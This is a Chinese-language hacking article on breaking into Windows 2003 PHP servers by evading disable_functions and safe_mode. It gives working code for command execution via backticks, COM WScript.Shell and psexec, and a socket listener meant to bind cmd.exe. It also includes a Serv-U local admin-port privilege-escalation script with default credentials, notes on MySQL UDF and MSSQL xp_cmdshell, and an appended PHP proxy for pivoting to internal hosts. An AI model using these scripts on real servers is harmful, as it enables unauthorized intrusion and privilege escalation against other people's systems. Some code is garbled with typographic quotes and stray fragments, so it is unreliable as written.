入侵WIN2003 PHP服务器的另类技术

1、disable_functions的突破

在php -4.0.1以上的版本，php.ini里引入了一项功能disable_functions , 这个功能比较有用，可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons，同时程序终止运行。但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性，比如还可以用(`)来执行命令，示例代码如下：

<?
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

据说这个只有设成safe_mode为on才能避免，但上次我在一台国外的服务器上使用的时候还是失败了，人并不是什么时候都能那么走运的：）

2、dl()函数的应用

当任何PHP的内部命令执行数和''都无法使用的时候，可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数，可惜这个扩展已被移动到 PECL 库中，且自PHP 5.1.0以下版本起不再被绑定。以下是手册里的例子：

// 加载此扩展
dl("php_w32api.dll");

// 注册 GetTickCount 函数，来自 kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long");

// 注册 MessageBoxA 函数，来自 User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");

// 取得开机时间信息
$ticks = GetTickCount();

// 转换为易于理解的文本
$secs = floor($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);

$str = sprintf("You have been using your computer for:".
"\r\n %d Milliseconds, or \r\n %d Seconds".
"or \r\n %d mins or\r\n %d hours %d mins.",
$ticks,
$secs,
$mins,
$hours,
$mins - ($hours*60));

// 显示一个消息对话框，只有一个 OK 按钮和上面的开机时间文本
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK);
?>

可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。

3、COM 和 .Net(Windows)函数的应用

COM（Component Object Model,组件对象模型）是微软开发的软件规范，它用于开发面向对象的、编译好的软件组件，它允许把软件抽象成为二进制的部件，主要运用于windows平台。
PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法，并把COM的类名作为参数传递到构造函数。例如使用在PHP中调用“WScript.Shell”执行系统命令：

<?
$cmd=” E:/cert/admin/psexec.exe”;
if($com=new COM("WScript.Shell")) echo "yes";

if(!$cmd1=$com->exec($cmd))
{
echo "can not exec()";
}

if(!$cmd2=$cmd1->stdout())
{
echo "can not stdout()";
}

if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>

图1是我写的一个执行psexec.exe的一个例子。

这段代码与ASP的<%=server.createobject("wscript.shell").exec("cmd.exe /c netstat –an”).stdout.readall%>的意思是一模一样的，当然，你也可以像ASP那样调用“ADODB.Connection”，利用这个组件结合jet2溢出漏洞，可能能够在PHP Saft mode=ON下拿到一个Shell。

<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
…..
?>

.Net 函数只能运行在 PHP 5上，当然，它需要 “.Net runtime”的支持，而且这的PHP的一个实验性模块，功能还未齐全，所以在这就不讨论了。

4、Java()函数的应用

该方法适用于safe mode=on。要使用JAVA模块服务器必须事先安装Java虚拟机，而且在PHP安装配置的时候打开了with-java的选项，代码如下：

[JAVA]
;这是到php_java.jar的路径
;java.class.path = .\php_java.jar
;JDK的路径
;Java.home = f:\jdk1.3.0
;到虚拟机的路径
;Java.library=f:\jdk1.3.0\jre\bin\hostspot\jvm.dll

同COM一样，使用Java创建类（不仅仅是JavaBeans）只需把JAVA的类名作为参数传递到构造函数。以下是手册里边的一个例子：

<?php
// This example is only intended to be run as a CGI.

$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');

$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;

$thread = new Java('java.lang.Thread'); $thread->sleep(10000);

$frame->dispose();
?>

可惜能真正支持JAVA的PHP服务器并不多见，所以在这也不多讨论了。

5、socket()函数的应用

socket 是PHP中功能极为强大的一个模块，如果你使用高级的、抽象的接口（由fsockopen()和psockopen函数打开的socket），是不需要打开“php_sockets.dll”的。但是如果要使用完整的socket函数块，就必须在php.ini这样设置：

;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
……..
;去掉以下一句最前边的分号
;extension=php_sockets.dll

使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器， 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子，你可以用它来捆绑上服务器的cmd.exe：

<?php
//在服务器上构造TCP服务
//该例子需要php_sockets.dll的支持
//执行后便可使用” telnet 127.0.0.1 1020”连接
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();

//在服务器上绑定IP和端口
$address = '127.0.0.1';
$port = 1020;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}

if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}

if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}

do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));

do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";

//以下处理接受到的buf
/*eg：例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/

} while (true);
socket_close($msgsock);
} while (true);

socket_close($sock);
?>

事实上，很多主机都是没有加载php_sockets.dll的，庆幸的是，不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”，我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子：

<?
$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {

//可以写入$shellcode
// fputs ($fp, $shellcode);

fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n"); fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>

还可以利用fsockopen编写HTTP代理，从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy（图4），代码较长。有兴趣的读者可以看看。

6、MYSQL/MSSQL接口
不同于linux的是，windows下的mysql/MSSQL一般是以系统管理员身份运行的，因此，只要能拿到本机SQL数据库中的root/sa密码，你就可以直接用PHP连接数据库来执行系统命令。
在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库，就能直接调用“master..xp_cmdshell“扩展执行命令，权限当然是system权限。

总结一下：由于系统、IIS、PHP的版本不一样，以上提到的几个突破方法可能会有所变化，PHP还有许多扩展功能是可以利用的，走出system（）那几个系统命令执行函数，你就有可能突破系统安全策略的限制！

后面附上proxy.php的代码

<?php
error_reporting(E_ALL);

/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/

function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}

if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}

class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;

function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on' ? 's' : '')
. "://";
$this->set_flags($flags);
}

function start_transfer($url)
{
$this->set_url($url);
$this->open_socket();
$this->set_request_headers();
$this->set_response();

if ($this->follow_location() === false)
{
if ($this->flags['accept_cookies'] == 1)
{
$this->set_cookies();
}
$this->set_content_type();
}
else
{
$this->start_transfer($this->url);
}
}

function open_socket()
{
$this->socket = @fsockopen($this->url_segments['host'], $this->url_segments['port'], &$errno, &$errstr, 5);

if ($this->socket === false)
{
$this->trigger_error("$errstr (<b>URL:</b> )"); }
}

function set_response()
{
fwrite($this->socket, $this->request_headers);
$response = '';

do
{
$data = fread($this->socket, 8192);
$response .= $data;
}
while (strlen($data) != 0);

fclose($this->socket);
preg_match("#(.*?)\r\n\r\n(.*)#s", $response, $matches);

$this->response_headers = $matches[1];
$this->response_body = $matches[2];
}

function set_content_type()
{
preg_match("#content-type:([^\r\n]*)#i", $this->response_headers, $matches);

if (trim($matches[1]) != '')
{
$content_type_array = explode(';', $matches[1]);
$this->content_type = strtolower(trim($content_type_array[0]));
}
}

function set_url($url)
{
$this->url = $this->decode_url($url);

if (strpos($this->url, '://') === false)
{
$this->url = 'http://' . $this->url;
}

$url_segments = @parse_url($this->url);

if (!empty($url_segments))
{
$url_segments['port'] = isset($url_segments['port']) ? $url_segments['port'] : 80;
$url_segments['path'] = isset($url_segments['path']) ? $url_segments['path'] : '/';
$url_segments['dir'] = substr($url_segments['path'], 0, strrpos($url_segments['path'], '/'));
$url_segments['base'] = $url_segments['scheme'] . '://' . $url_segments['host'] . $url_segments['dir'];
$url_segments['prev_dir'] = $url_segments['path'] != '/' ? substr($url_segments['base'], 0, strrpos($url_segments['base'], '/')+1) : $url_segments['base'] . '/';

$this->url_segments = $url_segments;

/*
URL: http://username:password@< wind_code_1 >
scheme // http
host // www.example.com
port // 80
user // username
pass // password
path // /dir/dir/page.php
query // ? 'foo=bar&foo2=bar2'
fragment // # 'bookmark'

dir // /dir/dir
base // http://www.example.com/dir/dir
prev_dir // http://www.example.com/dir/
*/

if (!empty($this->allowed_hosts) && !in_array($this->url_segments['host'], $this->allowed_hosts))
{
$this->trigger_error('You are only allowed to browse these websites: ' . implode(', ', $this->allowed_hosts));
}
}
else
{
$this->trigger_error('Please supply a valid URL');
}
}

function encode_url($url)
{
$url = str_rot13(urlencode(preg_replace('#^([\w+.-]+)://#i', "/", $url)));
return $url;
}

function decode_url($url)
{
$url = preg_replace('#^([\w+.-]+)/#i', "://", urldecode(str_rot13($url)));
return $url;
}

function modify_urls()
{
preg_match_all("#\s(href|src|action|codebase|url)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", $this->response_body, $matches, PREG_SET_ORDER);

foreach ($matches as $match)
{
$uri = trim($match[3]);
$fragment = ($hash_pos = strpos($uri, '#') !== false) ? '#' . substr($uri, $hash_pos) : '';

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
switch (substr($uri, 0, 1))
{
case '/':
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
break;
case '#':
continue 2;
default:
$uri = $this->url_segments['base'] . '/' . $uri;
break;
}
}

$uri = $this->encode_url($uri);
$replace = ' ' . $match[1] . '=' . $match[2] . $this->script_url . '?url=' . $uri . $fragment . $match[4] . $match[5];

$this->response_body = str_replace($match[0], $replace, $this->response_body);
}
}

function set_flags($flags)
{
if (is_numeric($flags))
{
setcookie('flags', $flags, time()+(4*7*24*60*60), '', $_SERVER['HTTP_HOST']);
$this->flags['include_form'] = $flags == 1 ? 1 : 0;
$this->flags['remove_scripts'] = $flags == 1 ? 1 : 0;
$this->flags['accept_cookies'] = $flags == 1 ? 1 : 0;
$this->flags['show_images'] = $flags == 1 ? 1 : 0;
$this->flags['show_referer'] = $flags == 1 ? 1 : 0;
}
else if (isset($_COOKIE['flags']))
{
$this->set_flags($_COOKIE['flags']);
}
}

function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n"; $headers .= "Connection: close\r\n";

if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}

$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
$this->set_post_body($_POST);

$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: " . strlen($this->post_body) . "\r\n\r\n";
$headers .= $this->post_body;
}

$headers .= "\r\n";

$this->request_headers = $headers;
}

function set_post_body($array, $parent_key = null)
{
foreach ($array as $key => $value)
{
if (is_array($value))
{
$this->set_post_body($value, isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key));
}
else
{
$this->post_body .= $this->post_body != '' ? '&' : '';
$key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);
$this->post_body .= $key . '=' . urlencode(__stripslashes($value));
}
}
}

function follow_location()
{
if (preg_match("#(location|uri):([^\r\n]*)#i", $this->response_headers, $matches))
{
$uri = $this->decode_url(trim($matches[2]));

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
if (substr($uri, 0, 1) == '/')
{
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
}
else
{
$uri = $this->url_segments['prefix'] . '/' . $uri;
}
}

$this->url = $uri;
return true;
}
return false;
}

function set_cookies()
{
if (preg_match_all("#set-cookie:([^\r\n]*)#i", $this->response_headers, $matches))
{
foreach ($matches[1] as $match)
{
preg_match('#^\s*([^=;,\s]*)=?([^;,\s]*)#', $match, $cookie) ? list(, $name, $value) = $cookie : null;
preg_match('#;\s*expires\s*=([^;]*)#i', $match, $cookie) ? list(, $expires) = $cookie : null;
preg_match('#;\s*path\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $path) = $cookie : null;
preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $domain) = $cookie : null;
preg_match('#;\s*(secure\b)#i', $match, $cookie) ? list(, $secure) = $cookie : null;

$expires = isset($expires) ? strtotime($expires) : 0;
$path = isset($path) ? $path : $this->url_segments['dir'];
$domain = isset($domain) ? $domain : $this->url_segments['host'];
$domain = rtrim($domain, '.');

if (!preg_match("#$domain$#i", $this->url_segments['host']))
{
continue;
}
if (preg_match('#\.(com|edu|net|org|gov|mil|int|aero|biz|coop|info|museum|name|pro)$#i', $domain))
{
if (substr_count($domain, '.') < 2)
{
continue;
}
}
else if (substr_count($domain, '.') < 3)
{
continue;
}
setcookie(urlencode("PHProxy;$name;$domain;$path"), $value, $expires, '', $_SERVER['HTTP_HOST']);
}
}
}

function get_cookies($restrict = true)
{
if (!empty($_COOKIE))
{
$cookies = '';

foreach ($_COOKIE as $cookie_name => $cookie_value)
{
$cookie_args = explode(';', urldecode($cookie_name));

if ($cookie_args[0] != 'PHProxy')
{
continue;
}

if ($restrict)
{
list(, $name, $domain, $path) = $cookie_args;
$domain = str_replace('_', '.', $domain);

if (preg_match("#$domain$#i", $this->url_segments['host']) && preg_match("#^$path#i", $this->url_segments['path']))
{
$cookies .= $cookies != '' ? '; ' : '';
$cookies .= "$name=$cookie_value";
}
}
else
{
array_shift($cookie_args);
$cookie_args[1] = str_replace('_', '.', $cookie_args[1]);
$cookie_args[] = $cookie_value;
$cookies[] = $cookie_args;
}
}
return $cookies;
}
}

function delete_cookies($hash)
{
$cookies = $this->get_cookies(false);

foreach ($cookies as $args)
{
if ($hash == 'all' || $hash == md5($args[0].$args[1].$args[2].$args[3]))
{
setcookie(urlencode("PHProxy;$args[0];$args[1];$args[2]"), '', 1);
}
}
}

function return_response($send_headers = true)
{
if (strpos($this->content_type, 'text/html') !== false || strpos($this->content_type, 'xhtml') !== false)
{
if ($this->flags['remove_scripts'] == 1) {
$this->remove_scripts();
}
if ($this->flags['show_images'] == 0)
{
$this->remove_images();
}

$this->modify_urls();

if ($this->flags['include_form'] == 1)
{
$this->include_form();
}
}
$headers = explode("\r\n", trim($this->response_headers));
$headers[] = 'Content-Disposition: '. (strpos($this->content_type, 'octet_stream') ? 'attachment' : 'inline') .'; filename='. substr($this->url_segments['path'], strrpos($this->url_segments['path'], '/')+1);
$headers[] = 'Content-Length: '. strlen($this->response_body);

if ($send_headers)
{
foreach ($headers as $header)
{
header($header);
}
}

return $this->response_body;
}

function remove_scripts()
{
$this->response_body = preg_replace('#<script[^>]*?>.*?</script>#si', '', $this->response_body); // Remove any scripts enclosed between <script />
$this->response_body = preg_replace("#\s*(\bon\w+)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", "", $this->response_body); // Remove javascript event handlers
$this->response_body = preg_replace('#<noscript>(.*?)</noscript>#si', "", $this->response_body); //expose any html between <noscript />

}

function remove_images()
{
$this->response_body = preg_replace('#<(img|image)[^>]*?>#si', '', $this->response_body);
}

function include_form()
{
ob_start();
?><script src=\'#\'" type="text/javascript"></script>
<div style="text-align: center;border: 1px solid #00c; color: #000066;background-color: #eeeeff;font-size: 11px">
<form name="proxy_form" method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form name="settings" action="" method="get" >
Current URI: <input type="text" size="66" name="url" value="<?php echo $this->url ?>" />
<input type="submit" name="browse" value="Browse" />
<input type="checkbox" name="new_window" value="true" /> New Window [<a href="<?php echo $this->script_url ?>?url=<?php echo $this->encode_url($this->url_segments['prev_dir']) ?>">Up One Directory</a>]<br />
<?php echo $this->options_list() ?>
</form></div><hr style="color: #000066" /><?
$form_html = ob_get_contents();
ob_end_clean();
$this->response_body = preg_replace("#\<body(.*?)\>#si", "\n$form_html", $this->response_body, 1);
}

function trigger_error($error)
{
header("Location: $this->script_url?error=$error");
exit;
}

function options_list($tabulate = false, $comments_on = false)
{
$output = '';
$comments = array();
$comments['include_form'] = 'Includes a mini URL-form on every HTML page';
$comments['remove_scripts'] = 'Remove all sorts of client-side scripting';
$comments['accept_cookies'] = 'Accept HTTP cookies';
$comments['show_images'] = 'Show images';
$comments['show_referer'] = 'Show referring website in HTTP headers';

foreach ($this->flags as $flag_code => $flag_status)
{
$interface = array(ucwords(str_replace('_', ' ', $flag_code)),
' <input type="checkbox" name="ops[]"'
. ($flag_status == 1 ? ' checked="checked"' : '') . ' /> '
);
$tabulate ? null : $interface = array_reverse($interface);

$output .= ($tabulate ? '<tr><td class="option">' : '')
. $interface[0]
. ($tabulate ? '</td><td class="option">' : '')
. $interface[1]
. ($comments_on ? $comments[$flag_code] : '')
. ($tabulate ? '</td></tr>' : '');
}

return $output;
}

}

$PHProxy = new PHProxy(isset($_GET['flags']) ? $_GET['flags'] : null);

if (isset($_GET['action'], $_GET['delete']) && $_GET['action'] == 'cookies')
{
$PHProxy->delete_cookies($_GET['delete']);
header("Location: $PHProxy->script_url?action=cookies");
exit();
}

if (isset($_GET['url']))
{
$PHProxy->start_transfer($_GET['url']);echo $PHProxy->return_response();
exit();
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>PHProxy</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<style>
body
{
margin: 10px 0px 0px 0px;
padding: 0px;
font-size: 12px;
}

form, input
{
margin: 0px;
padding: 0px;
}

body, input
{
font-family: lucida sans unicode, lucida, helvetica, verdana, arial, sans-serif;
}

input
{
font-size: 10px;
font-weight: bold;
color: #E76B18;

}

.title
{
font-size: 25px;
color: #E67D0B;
border-bottom: 1px solid #E76B18;
}

.error
{
font-size: 12px;
background-color: #FF0000;
color: #FFFFFF;
border-bottom: 1px solid #E76B18;
}

#container
{
border: 1px solid #CCCDD7;
width: 700px;
margin: auto;
}

#menu
{
border-left: 1px solid #CCCDD7;
border-bottom: 1px solid #CCCDD7;
float: right;
height: 20px;
background-color: #EEEEEE;
}

.option
{
height: 25px;
border-bottom: 1px solid #3399FF;
}

.shade
{
background-color: #EEEEEE;
}

.head
{
background-color: #A2AACE;
}

a:link, a:visited
{
color: #21A121;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}

a:hover, a:active
{
color: #3399FF;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}
</style>
<script type="text/javascript">
alpha1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
alpha2 = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

function str_rot13(str)
{
newStr = '';

for (i = 0; i < str.length; i++)
{
curLet = str.charAt(i);
curLetLoc = alpha1.indexOf(curLet);

if (curLet == '#')
{
document.proxy_form.action += str.substring(i, str.length)
}

newStr += (curLetLoc < 0) ? curLet : alpha2.charAt(curLetLoc);
}

return newStr;
}

function submit_form()
{
flags = '';

for (i = 0; i < document.settings.elements['ops[]'].length; i++)
{
flags += (document.settings.elements['ops[]'].checked == true) ? '1' : '0';
}

document.proxy_form.flags.value = flags;
document.proxy_form.target = (document.settings.new_window.checked == true) ? '_blank' : '_top';
searchPattern = /^([\w+.-]+):\/\//gi;
document.proxy_form.url.value = str_rot13(document.settings.url.value.replace(searchPattern, "\/"));
document.proxy_form.submit();
return false;
}
</script>
</head>
<body>
<div id="container">
<div id="menu"><a href="?action=form">URL Form</a> | <a href="?action=cookies">Manage Cookies</a></div>
<div class="title">PHProxy</div>
<?php

if (isset($_GET['error']))
{
echo '<div class="error"><b>Error:</b> ' . $_GET['error'] . '</div>';
}

if (isset($_GET['action']) && $_GET['action'] == 'cookies')
{
$cookies = $PHProxy->get_cookies(false);

if (!empty($cookies))
{
echo '<table style="width: 100%">';
echo '<tr><td class="option" colspan="5"><a href="?action=cookies&delete=all">Clear All Cookies</a></td></tr>';
echo '<tr><td class="head">Name</td><td class="head">Domain</td><td class="head">Path</td><td class="head">Value</td><td class="head">Action</td></tr>';

for ($i = 0; $i < count($cookies); $i++)
{
$j = $i&1 ? ' class="shade"' : '';
echo "<tr><td$j></td><td$j></td><td$j></td>"
. "<td$j></td><td$j><a href=". '"?action=cookies&delete='. md5(implode('', $cookies[$i])) . '">delete</a></td></tr>';  }

echo '</table>';
}
else
{
echo '<div class="error">No cookies available.</div>';
}
}
else
{
?>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>" name="proxy_form">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form method="get" name="settings" action="" >
<table style="width: 100%">
<tr><td class="option" style="width: 20%">URL</td><td class="option" style="width: 80%"> <input type="text" name="url" size="70" value="" /></td></tr>
<?php echo $PHProxy->options_list(true, true) ?>
</table>
<div style="text-align: center"><input type="checkbox" name="new_window" />New Window <input type="submit" name="browse" value="Browse" /><input type="reset" value="Reset Form" /></div>

<?
/*
<div style="text-align: center"><a href="PHProxyhttp://sourceforge.net/projects/poxy/">PHProxy</a> <?php echo $PHProxy->version ?> Copyright 2004 <a href="ultimategamer00http://www.whitefyre.com/">ultimategamer00</a></div>
*/
?>

</form>
<?php
}

echo '</div></body></html>';
?>

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